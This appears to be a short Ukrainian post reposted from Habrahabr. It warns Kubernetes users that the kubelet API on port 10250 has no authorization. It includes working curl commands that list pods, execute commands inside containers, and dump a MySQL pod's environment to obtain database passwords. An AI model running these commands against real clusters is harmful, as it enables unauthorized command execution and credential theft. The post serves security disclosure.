Застереження для користувачів Kubernetes

Сервіс
kubelet
, з яким тісно спілкується
apiserver
, слухає порт 10250. Цей порт хоч і використовує сертифікати, але лише для шифрування каналу, ніякої авторизації на ньому немає.
Про цю проблему відомо давно, але чомусь ніхто не вважає її серйозною. Посилання на обговорення:
Що з цим можна зробити? Правтически все. Без реєстрації і sms.
Отримати список всіх pod'ов:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Виконати команду всередині контейнера? Запросто:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

Отримати пароль на базу даних? Простіше простого:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

Витягнути з неї дані теж не складе труднощів.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.